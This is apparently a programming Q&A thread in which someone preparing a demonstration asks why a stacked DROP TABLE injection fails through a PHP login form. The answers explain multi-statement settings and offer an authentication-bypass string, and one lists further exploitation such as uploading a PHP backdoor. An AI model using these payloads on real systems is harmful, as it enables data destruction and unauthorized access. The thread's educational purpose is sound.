arxoft
arxoft

Reputation: 1475

SQL Injection DROP TABLE not working

I need to demonstrate SQL Inject using PHP/MySQL. I want to inject a DROP TABLE query in a login form but it never works. (TRUNCATE table works fine OTOH). After I input '; drop table users; # as field input; query turns out to be

SELECT * FROM `users` WHERE `email` = ''; DROP TABLE users; #' AND `password` LIKE '3232';

But it never works using mysql_query() function. When I copy/paste this query in PHPmyAdmin directly, it works perfectly and table gets dropped. What can be the issue?

Upvotes: 3

Views: 9371

Answers (2)

Noname
Noname

Reputation: 349

This is not possible in php/MySQL as php does not support stacked queries. The moment you inject semicolon (;) it will fail.

You can do many other much more creative exploits using sql injection in a php-mysql application though.

  1. Enumerate all databases
  2. Table Names and Column Names
  3. Values stored in tables
  4. Upload a php backdoor

Check Out for SQL-Map as well.

Upvotes: 1

Jason Heo
Jason Heo

Reputation: 10236

MULTIPLE SQL Execution is not enabled by defaults.

So SQL Injection like ;drop table won't work. please enable multiple sql execution. this could be enabled like http://php.net/manual/en/mysqli.quickstart.multiple-statement.php if you are using mysqli.

useful SQL Injection is :

SELECT COUNT(*) FROM users
WHERE user_id = '$user_id' AND passwd = '$passwd'

and user inserts passwd to ' || '1' = '1.

Upvotes: 3

Related Questions